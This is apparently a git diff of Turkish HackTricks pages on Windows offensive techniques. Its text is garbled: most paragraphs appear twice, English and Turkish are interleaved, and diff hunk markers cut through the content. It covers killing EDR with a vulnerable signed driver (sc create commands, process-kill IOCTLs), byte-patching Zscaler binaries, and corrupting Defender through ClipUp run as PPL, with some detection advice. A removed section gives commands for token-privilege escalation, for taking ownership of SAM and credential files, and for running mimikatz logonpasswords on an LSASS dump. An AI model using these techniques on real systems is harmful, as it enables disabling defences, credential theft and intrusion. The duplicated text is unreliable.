Storm-2603, fidye yazılımı bırakmadan önce uç nokta korumalarını devre dışı bırakmak için **Antivirus Terminator** olarak bilinen küçük bir konsol aracını kullandı. Araç kendi **vulnerable ancak *signed* driver'ını** getiriyor ve Protected-Process-Light (PPL) AV servislerinin bile engelleyemeyeceği ayrıcalıklı çekirdek işlemlerini gerçekleştirmek için bunu suistimal ediyor.
Önemli çıkarımlar
1. **Signed driver**: Diske yazılan dosya `ServiceMouse.sys` fakat ikili aslında Antiy Labs’in “System In-Depth Analysis Toolkit”inden meşru şekilde imzalanmış sürücü `AToolsKrnl64.sys`. Sürücü geçerli bir Microsoft imzası taşıdığı için Driver-Signature-Enforcement (DSE) etkin olsa bile yüklenir.
2. **Service installation**:
Ana çıkarımlar
1. **İmzalı sürücü**: Diske bırakılan dosya `ServiceMouse.sys` olarak kaydediliyor, ancak ikili dosya Antiy Labs’ın “System In-Depth Analysis Toolkit”ten meşru şekilde imzalanmış `AToolsKrnl64.sys` sürücüsü. Sürücü geçerli bir Microsoft imzasına sahip olduğundan Driver-Signature-Enforcement (DSE) etkin olsa bile yükleniyor.
2. **Servis kurulumu**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
İlk satır sürücüyü bir **kernel servisi** olarak kaydeder ve ikinci satır hizmeti başlatarak `\\.\ServiceMouse`'in kullanıcı alanından erişilebilir hale gelmesini sağlar.
3. **IOCTLs exposed by the driver**
| IOCTL kodu | İşlevi |
İlk satır sürücüyü bir **kernel servisi** olarak kaydeder, ikinci satır ise başlatır; böylece `\\.\ServiceMouse` user land'den erişilebilir hale gelir.
3. **Sürücünün ifşa ettiği IOCTL'ler**
| IOCTL code | Capability |
|-----------:|-----------------------------------------|
| `0x99000050` | PID ile rastgele bir süreci sonlandır (Defender/EDR servislerini sonlandırmak için kullanıldı) |
| `0x990000D0` | Diskte rastgele bir dosyayı sil |
| `0x99000050` | PID ile rastgele bir süreci sonlandır (Defender/EDR servislerini öldürmek için kullanıldı) |
| `0x990000D0` | Diskteki rastgele bir dosyayı sil |
| `0x990001D0` | Sürücüyü boşalt ve servisi kaldır |
Minimal C proof-of-concept:
@ -725,30 +723,30 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Neden işe yarıyor**: BYOVD kullanıcı modu korumalarını tamamen atlar; kernel'de çalışan kod *protected* süreçleri açabilir, bunları sonlandırabilir veya PPL/PP, ELAM ya da diğer sertleştirme özelliklerine bakmaksızın kernel nesnelerine müdahale edebilir.
4. **Neden işe yarıyor**: BYOVD kullanıcı modu korumalarını tamamen atlıyor; çekirdekte çalışan kod *protected* süreçleri açabilir, sonlandırabilir veya PPL/PP, ELAM veya diğer sertleştirme özelliklerine bakılmaksızın çekirdek nesneleriyle müdahale edebilir.
Tespit / Hafifletme
• Microsoft’ün vulnerable-driver block list’ini (`HVCI`, `Smart App Control`) etkinleştirin, böylece Windows `AToolsKrnl64.sys`'i yüklemeyi reddeder.
• Yeni *kernel* servislerinin oluşturulmasını izleyin ve bir sürücü world-writable bir dizinden veya allow-list'te olmayan bir yerden yüklendiğinde uyarı verin.
• Özel device objelerine yönelik user-mode handle'ları ve bunu takiben şüpheli `DeviceIoControl` çağrılarını izleyin.
• Microsoft’un vulnerable-driver engelleme listesini (`HVCI`, `Smart App Control`) etkinleştirin, böylece Windows `AToolsKrnl64.sys`'nin yüklenmesini reddetsin.
• Yeni *kernel* servislerinin oluşturulmasını izle ve bir sürücü world-writable bir dizinden yüklendiğinde veya allow-list'te değilse uyarı ver.
• Özelleştirilmiş device object'lere yapılan kullanıcı modu handle'larını ve ardından gelen şüpheli `DeviceIoControl` çağrılarını izle.
### Zscaler Client Connector Posture Kontrollerini Disk Üzerindeki Binary Yamasıyla Atlatma
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Zscaler’ın **Client Connector**'ı cihaz-posture kurallarını yerel olarak uygular ve sonuçları diğer bileşenlerle iletmek için Windows RPC'ye dayanır. Tam bir atlatmayı mümkün kılan iki zayıf tasarım tercihi vardır:
Zscaler’ın **Client Connector**'ı device-posture kurallarını yerel olarak uygular ve sonuçları diğer bileşenlere iletmek için Windows RPC'ye güveniyor. İki zayıf tasarım tercihi tam bir bypass'ı mümkün kılıyor:
1. Posture değerlendirmesi **tamamen client-side** gerçekleşir (sunucuya bir boolean gönderilir).
2. Internal RPC endpoint'leri bağlanan executable'ın yalnızca **Zscaler tarafından imzalandığını** doğrular (via `WinVerifyTrust`).
1. Posture değerlendirmesi **tamamen client-side** gerçekleşiyor (sunucuya bir boolean gönderiliyor).
2. Dahili RPC endpoint'leri yalnızca bağlanan yürütülebilir dosyanın **Zscaler tarafından imzalı** olduğunu doğruluyor (`WinVerifyTrust` aracılığıyla).
Disk üzerindeki dört imzalı ikiliyi **yama yaparak** her iki mekanizma da nötralize edilebilir:
Diskteki dört imzalı ikiliyi yama yaparak her iki mekanizma da etkisiz hale getirilebilir:
| Binary | Orijinal mantık yaması | Sonuç |
|--------|------------------------|-------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Her zaman `1` döndürür, böylece her kontrol uyumlu olur |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ herhangi bir (imzasız bile) process RPC pipe'larına bağlanabilir |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Yerine `mov eax,1 ; ret` konuldu |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Kısa devre ile atlandı |
| Binary | Orijinal mantık (yamanan) | Sonuç |
|--------|---------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Her zaman `1` döner, böylece her kontrol uyumlu sayılır |
| `ZSAService.exe` | `WinVerifyTrust`'a dolaylı çağrı | NOP-ed ⇒ herhangi bir (imzasız bile) süreç RPC pipe'larına bind edebilir |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` ile değiştirildi |
| `ZSATunnel.exe` | Tünel üzerindeki bütünlük kontrolleri | Kısa devre yapıldı |
Minimal patcher kesiti:
Minimal patcher excerpt:
```python
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
@ -764,31 +762,31 @@ f.write(replacement)
```
After replacing the original files and restarting the service stack:
* **All** posture checks display **green/compliant**.
* Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* The compromised host gains unrestricted access to the internal network defined by the Zscaler policies.
* **Tüm** posture kontrolleri **yeşil/uyumlu** gösterir.
* İmzalanmamış veya değiştirilmiş ikili dosyalar named-pipe RPC uç noktalarını açabilir (ör. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* İhlal edilmiş konak, Zscaler politikalarıyla tanımlanan iç ağa sınırsız erişim elde eder.
This case study demonstrates how purely client-side trust decisions and simple signature checks can be defeated with a few byte patches.
Bu vaka çalışması, salt istemci taraflı güven kararlarının ve basit imza kontrollerinin birkaç bayt yaması ile nasıl alt edilebileceğini gösterir.
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
## Protected Process Light (PPL) Kullanarak LOLBINs ile AV/EDR'ye Müdahale
Protected Process Light (PPL) enforces a signer/level hierarchy so that only equal-or-higher protected processes can tamper with each other. Offensively, if you can legitimately launch a PPL-enabled binary and control its arguments, you can convert benign functionality (e.g., logging) into a constrained, PPL-backed write primitive against protected directories used by AV/EDR.
Protected Process Light (PPL), yalnızca eşit veya daha yüksek korumaya sahip protected process'lerin birbirine müdahale edebilmesini sağlayan bir signer/seviye hiyerarşisi uygular. Saldırgan amaçlı olarak, eğer meşru şekilde PPL-etkin bir binary başlatabiliyor ve argümanlarını kontrol edebiliyorsanız, zararsız bir işlevselliği (ör. logging) AV/EDR tarafından kullanılan korumalı dizinlere karşı kısıtlı, PPL-backed bir write primitive'e dönüştürebilirsiniz.
What makes a process run as PPL
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
Bir işlemin PPL olarak çalışmasını sağlayanlar
- Hedef EXE (ve yüklü DLL'ler) PPL-capable EKU ile imzalanmış olmalıdır.
- İşlem, CreateProcess ile şu flag'ler kullanılarak oluşturulmalıdır: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- Binary'nin imzalayanına uyan uyumlu bir protection level talep edilmelidir (ör. anti-malware imzalayanları için `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, Windows imzalayanları için `PROTECTION_LEVEL_WINDOWS`). Yanlış seviyeler oluşturma sırasında başarısız olur.
See also a broader intro to PP/PPL and LSASS protection here:
Ayrıca PP/PPL ve LSASS korumasına daha geniş bir giriş için bakın:
{{#ref}}
stealing-credentials/credentials-protections.md
{{#endref}}
Launcher tooling
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
Başlatıcı araçlar
- Open-source helper: CreateProcessAsPPL (koruma seviyesini seçer ve argümanları hedef EXE'ye iletir):
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Usage pattern:
- Kullanım biçimi:
```text
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
@ -797,61 +795,61 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN primitive: ClipUp.exe
- The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path.
- When launched as a PPL process, the file write occurs with PPL backing.
- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
- İmzalı sistem ikili dosyası `C:\Windows\System32\ClipUp.exe` self-spawns yapar ve çağıranın belirttiği bir yola log dosyası yazmak için bir parametre kabul eder.
- PPL process olarak başlatıldığında, dosya yazma PPL backing ile gerçekleşir.
- ClipUp boşluk içeren yolları parse edemez; normalde korunmuş konumlara işaret etmek için 8.3 kısa yolları kullanın.
8.3 short path helpers
- List short names: `dir /x` in each parent directory.
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
- Kısa adları listeleyin: her üst dizinde `dir /x`.
- cmd'de kısa yolu türetin: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Abuse chain (abstract)
1) PPL-capable LOLBIN'i (ClipUp) bir başlatıcı kullanarak `CREATE_PROTECTED_PROCESS` ile çalıştırın (ör. CreateProcessAsPPL).
2) ClipUp log-yolu argümanını, korumalı bir AV dizininde (ör. Defender Platform) dosya oluşturmaya zorlamak için geçirin. Gerekirse 8.3 kısa adları kullanın.
3) Hedef ikili dosya genellikle AV tarafından çalışırken açık/kilitli ise (ör. MsMpEng.exe), yazmayı AV başlamadan önce önyüklemede zamanlayın; bunun için daha önce güvenilir şekilde çalışan bir otomatik başlatma servisi yükleyin. Önyükleme sırasını Process Monitor ile doğrulayın (boot logging).
4) Yeniden başlatmada PPL destekli yazma, AV ikili dosyalarını kilitlemeden önce gerçekleşir; hedef dosyayı bozarak başlatmayı engeller.
1) PPL-capable LOLBIN (ClipUp) 'ı `CREATE_PROTECTED_PROCESS` kullanarak bir launcher ile başlatın (ör. CreateProcessAsPPL).
2) ClipUp log-path argümanını, korumalı bir AV dizininde (ör. Defender Platform) bir dosya oluşturmayı zorlamak için geçirin. Gerekirse 8.3 kısa adları kullanın.
3) Hedef binary normalde AV tarafından çalışırken açık/locked ise (ör. MsMpEng.exe), yazmayı AV başlamadan önce önyüklemede planlamak için daha erken güvenilir şekilde çalışan bir auto-start service kurun. Boot sıralamasını Process Monitor (boot logging) ile doğrulayın.
4) Yeniden başlatmada PPL-backed yazma AV ikililerini kilitlemeden önce gerçekleşir, hedef dosyayı bozarak başlatmayı engeller.
Example invocation (paths redacted/shortened for safety):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Notlar ve sınırlamalar
- ClipUp'ın yazdığı içeriği yerleştirme dışında kontrol edemezsiniz; bu primitive kesin içerik enjeksiyonundan ziyade bozulmaya (corruption) uygundur.
- Bir hizmeti kurmak/başlatmak ve bir yeniden başlatma penceresi için local admin/SYSTEM gerektirir.
- Zamanlama kritik: hedef açık olmamalıdır; boot-zamanı yürütme dosya kilitlerinden kaçınır.
Notes and constraints
- ClipUp'un yazdığı içeriğin yerleştirme dışında kontrolü sizde değildir; bu primitive hassas içerik enjeksiyonundan ziyade bozmaya uygundur.
- Bir hizmeti yüklemek/başlatmak ve yeniden başlatma penceresi için local admin/SYSTEM gerektirir.
- Zamanlama kritik: hedef açık olmamalı; önyükleme zamanı yürütme dosya kilitlerinden kaçınır.
Tespitler
- `ClipUp.exe`'nin olağandışı argümanlarla süreç oluşturması, özellikle non-standard launchers tarafından parent edildiğinde ve boot civarında.
- Şüpheli ikili dosyaları otomatik başlatılacak şekilde yapılandırılmış yeni servisler ve Defender/AV'den önce tutarlı şekilde başlatılmaları. Defender başlatma hatalarından önce servis oluşturma/değişikliklerini araştırın.
- Defender binaries/Platform directories üzerinde dosya bütünlüğü izleme; protected-process bayraklarına sahip süreçler tarafından beklenmeyen dosya oluşturma/değişiklikleri.
- ETW/EDR telemetrisi: `CREATE_PROTECTED_PROCESS` ile oluşturulan süreçleri ve AV olmayan ikili dosyalar tarafından anormal PPL seviye kullanımlarını arayın.
Detections
- Önyükleme sırasında, alışılmadık argümanlarla oluşturulan `ClipUp.exe` süreçleri; özellikle standart dışı başlatıcılar tarafından parent edilmiş olanlar.
- Şüpheli ikili dosyaları otomatik başlatacak şekilde yapılandırılan yeni servisler ve Defender/AV'den önce sürekli başlayanlar. Defender başlatma hatalarından önce servis oluşturma/değişikliğini araştırın.
- Defender ikili dosyaları/Platform dizinleri üzerinde dosya bütünlüğü izleme; protected-process bayraklarına sahip süreçler tarafından beklenmeyen dosya oluşturma/değişiklikleri.
- ETW/EDR telemetri: `CREATE_PROTECTED_PROCESS` ile oluşturulan süreçleri ve non-AV ikili dosyalar tarafından anormal PPL seviye kullanımlarını arayın.
Önlemler
Mitigations
- WDAC/Code Integrity: hangi imzalı ikili dosyaların PPL olarak ve hangi parent'lar altında çalışabileceğini kısıtlayın; meşru bağlamların dışındaki ClipUp çağrılarını engelleyin.
- Servis hijyeni: otomatik başlatılan servislerin oluşturulmasını/değiştirilmesini kısıtlayın ve start-order manipülasyonunu izleyin.
- Servis hijyeni: otomatik başlatılan servislerin oluşturulmasını/değiştirilmesini kısıtlayın ve başlatma sırası manipülasyonunu izleyin.
- Defender tamper protection ve early-launch korumalarının etkin olduğundan emin olun; ikili dosya bozulmasını gösteren başlangıç hatalarını araştırın.
- Güvenlik araçlarını barındıran volume'larda ortamınızla uyumluysa 8.3 kısa ad (short-name) oluşturmayı devre dışı bırakmayı düşünün (iyice test edin).
- Güvenlik araçlarını barındıran hacimlerde ortamınızla uyumluysa 8.3 kısa ad üretimini devre dışı bırakmayı düşünün (iyice test edin).
PPL ve araçlar için referanslar
- Microsoft Protected Processes genel bakış: https://learn.microsoft.com/windows/win32/procthread/protected-processes
References for PPL and tooling
- Microsoft Protected Processes genel bakışı: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU referansı: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (sıralama doğrulaması): https://learn.microsoft.com/sysinternals/downloads/procmon
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Teknik açıklaması (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
- Teknik yazısı (ClipUp + PPL + başlatma sırası tahrifi): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## References
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
- [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
- [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
- [Microsoft Docs – Known DLLs](https://learn.microsoft.com/windows/win32/dlls/known-dlls)
- [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
- [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
- [Unit42 – DarkCloud Stealer için Yeni Enfeksiyon Zinciri ve ConfuserEx Tabanlı Obfuskasyon](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv – Zero trust'ınıza güvenmeli misiniz? Zscaler posture kontrollerini atlatmak](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
- [Check Point Research – ToolShell'den Önce: Storm-2603’ün Önceki Ransomware Operasyonlarını Keşfetmek](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
- [Hexacorn – DLL ForwardSideLoading: Forwarded Exports'i Kötüye Kullanma](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
- [Windows 11 Forwarded Exports Envanteri (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
- [Microsoft Docs – Bilinen DLL'ler](https://learn.microsoft.com/windows/win32/dlls/known-dlls)
- [Microsoft – Korumalı Süreçler](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
- [Microsoft – EKU referansı (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
- [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
- [Zero Salarium – Protected Process Light (PPL) desteğiyle EDR'lere Karşı Koyma](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
{{#include ../banners/hacktricks-training.md}}

180
src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
View File

@ -1,180 +0,0 @@
# Tokenları Kötüye Kullanma
{{#include ../../../banners/hacktricks-training.md}}
## Tokenlar
Eğer **Windows Erişim Tokenlarının ne olduğunu bilmiyorsanız** devam etmeden önce bu sayfayı okuyun:
{{#ref}}
../access-tokens.md
{{#endref}}
**Zaten sahip olduğunuz tokenları kötüye kullanarak ayrıcalıkları artırma şansınız olabilir**
### SeImpersonatePrivilege
Bu, herhangi bir tokenın taklit edilmesine (ancak oluşturulmasına değil) izin veren bir ayrıcalıktır; bunun için ona bir handle elde edilmesi gerekir. Ayrıcalıklı bir token, bir Windows hizmetinden (DCOM) NTLM kimlik doğrulaması yaptırılarak elde edilebilir, bu da daha sonra SYSTEM ayrıcalıklarıyla bir sürecin çalıştırılmasını sağlar. Bu güvenlik açığı, [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (winrm'nin devre dışı bırakılmasını gerektirir), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) ve [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) gibi çeşitli araçlar kullanılarak istismar edilebilir.
{{#ref}}
../roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../juicypotato.md
{{#endref}}
### SeAssignPrimaryPrivilege
Bu, **SeImpersonatePrivilege** ile çok benzer olup, ayrıcalıklı bir token elde etmek için **aynı yöntemi** kullanır.\
Daha sonra, bu ayrıcalık **yeni/askıya alınmış bir sürece** bir birincil token atamaya izin verir. Ayrıcalıklı taklit token ile bir birincil token türetebilirsiniz (DuplicateTokenEx).\
Token ile, 'CreateProcessAsUser' ile **yeni bir süreç** oluşturabilir veya bir süreci askıya alabilir ve **tokenı ayarlayabilirsiniz** (genel olarak, çalışan bir sürecin birincil tokenını değiştiremezsiniz).
### SeTcbPrivilege
Bu token etkinleştirildiğinde, **KERB_S4U_LOGON** kullanarak herhangi bir kullanıcı için **taklit token** alabilirsiniz, kimlik bilgilerini bilmeden, tokena **keyfi bir grup** (yönetici) ekleyebilir, tokenın **bütünlük seviyesini** "**orta**" olarak ayarlayabilir ve bu tokenı **mevcut iş parçacığına** atayabilirsiniz (SetThreadToken).
### SeBackupPrivilege
Bu ayrıcalık, herhangi bir dosyaya (okuma işlemleri ile sınırlı) **tüm okuma erişim** kontrolü vermek için sistemin zorlanmasına neden olur. Bu, yerel Yönetici hesaplarının şifre karma değerlerini kayıt defterinden **okumak** için kullanılır; ardından, "**psexec**" veya "**wmiexec**" gibi araçlar hash ile kullanılabilir (Pass-the-Hash tekniği). Ancak, bu teknik iki koşul altında başarısız olur: Yerel Yönetici hesabı devre dışı bırakıldığında veya uzaktan bağlanan Yerel Yöneticilerden yönetim haklarını kaldıran bir politika uygulandığında.\
Bu ayrıcalığı **kötüye kullanabilirsiniz**:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
- **IppSec**'i takip ederek [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
- Veya aşağıdaki **Yedek Operatörlerle Ayrıcalıkları Artırma** bölümünde açıklandığı gibi:
{{#ref}}
../../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### SeRestorePrivilege
Bu ayrıcalık, dosyanın Erişim Kontrol Listesi (ACL) ne olursa olsun, herhangi bir sistem dosyasına **yazma erişimi** izni verir. Bu, **hizmetleri değiştirme**, DLL Hijacking yapma ve çeşitli diğer teknikler arasında Görüntü Dosyası İcra Seçenekleri aracılığıyla **hata ayıklayıcılar** ayarlama gibi birçok yükseltme olanağı sunar.
### SeCreateTokenPrivilege
SeCreateTokenPrivilege, özellikle bir kullanıcının tokenları taklit etme yeteneğine sahip olduğunda güçlü bir izindir, ancak SeImpersonatePrivilege yoksa da kullanışlıdır. Bu yetenek, aynı kullanıcıyı temsil eden ve bütünlük seviyesi mevcut sürecin seviyesini aşmayan bir tokenı taklit etme yeteneğine dayanır.
**Ana Noktalar:**
- **SeImpersonatePrivilege olmadan taklit:** Belirli koşullar altında tokenları taklit ederek SeCreateTokenPrivilege'i EoP için kullanmak mümkündür.
- **Token Taklit Koşulları:** Başarılı taklit, hedef tokenın aynı kullanıcıya ait olmasını ve bütünlük seviyesinin taklit etmeye çalışan sürecin bütünlük seviyesinden daha az veya eşit olmasını gerektirir.
- **Taklit Tokenların Oluşturulması ve Değiştirilmesi:** Kullanıcılar bir taklit token oluşturabilir ve bunu ayrıcalıklı bir grubun SID'sini (Güvenlik Tanımlayıcısı) ekleyerek geliştirebilir.
### SeLoadDriverPrivilege
Bu ayrıcalık, belirli `ImagePath` ve `Type` değerleri ile bir kayıt defteri girişi oluşturarak **cihaz sürücülerini yükleme ve boşaltma** izni verir. `HKLM` (HKEY_LOCAL_MACHINE) üzerinde doğrudan yazma erişimi kısıtlandığından, bunun yerine `HKCU` (HKEY_CURRENT_USER) kullanılmalıdır. Ancak, `HKCU`'nun sürücü yapılandırması için çekirdek tarafından tanınabilmesi için belirli bir yol izlenmelidir.
Bu yol `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` şeklindedir; burada `<RID>`, mevcut kullanıcının Göreceli Tanımlayıcısıdır. `HKCU` içinde, bu tüm yol oluşturulmalı ve iki değer ayarlanmalıdır:
- `ImagePath`, yürütülecek ikili dosyanın yolu
- `Type`, değeri `SERVICE_KERNEL_DRIVER` (`0x00000001`) olarak.
**İzlenecek Adımlar:**
1. Kısıtlı yazma erişimi nedeniyle `HKLM` yerine `HKCU`'ya erişin.
2. `HKCU` içinde `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` yolunu oluşturun; burada `<RID>`, mevcut kullanıcının Göreceli Tanımlayıcısını temsil eder.
3. `ImagePath`'ı ikilinin yürütme yoluna ayarlayın.
4. `Type`'ı `SERVICE_KERNEL_DRIVER` (`0x00000001`) olarak atayın.
```python
# Example Python code to set the registry values
import winreg as reg
# Define the path and values
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
reg.CloseKey(key)
```
Daha fazla bu ayrıcalığı kötüye kullanma yolu için [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
### SeTakeOwnershipPrivilege
Bu, **SeRestorePrivilege** ile benzerdir. Temel işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, WRITE_OWNER erişim hakları sağlanarak açık takdir erişimi gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir.
```bash
takeown /f 'C:\some\file.txt' #Now the file is owned by you
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
# Use this with files that might contain credentials such as
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
c:\inetpub\wwwwroot\web.config
```
### SeDebugPrivilege
Bu ayrıcalık, **diğer süreçleri hata ayıklamaya** izin verir, bu da bellekte okuma ve yazma yapmayı içerir. Bu ayrıcalıkla, çoğu antivirüs ve host saldırı önleme çözümlerini atlatabilen çeşitli bellek enjeksiyon stratejileri uygulanabilir.
#### Belleği dökme
**Bir sürecin belleğini yakalamak** için [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) veya [SharpDump](https://github.com/GhostPack/SharpDump) kullanabilirsiniz. Özellikle, bu, bir kullanıcının bir sisteme başarıyla giriş yaptıktan sonra kullanıcı kimlik bilgilerini saklamaktan sorumlu olan **Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** sürecine uygulanabilir.
Daha sonra bu dökümü mimikatz'ta yükleyerek şifreleri elde edebilirsiniz:
```
mimikatz.exe
mimikatz # log
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```
#### RCE
Eğer bir `NT SYSTEM` shell almak istiyorsanız şunları kullanabilirsiniz:
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
```bash
# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
```
### SeManageVolumePrivilege
`SeManageVolumePrivilege`, disk hacimlerini yönetmek için kullanıcıların disk hacimlerini oluşturma ve silme gibi işlemleri yapmasına izin veren bir Windows kullanıcı hakkıdır. Yöneticiler için tasarlanmış olmasına rağmen, eğer bu hak yönetici olmayan kullanıcılara verilirse, ayrıcalık yükseltme için istismar edilebilir.
Bu ayrıcalığı kullanarak hacimleri manipüle etmek ve tam hacim erişimi sağlamak mümkündür. [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit), C:\ için tüm kullanıcılara tam erişim vermek için kullanılabilir.
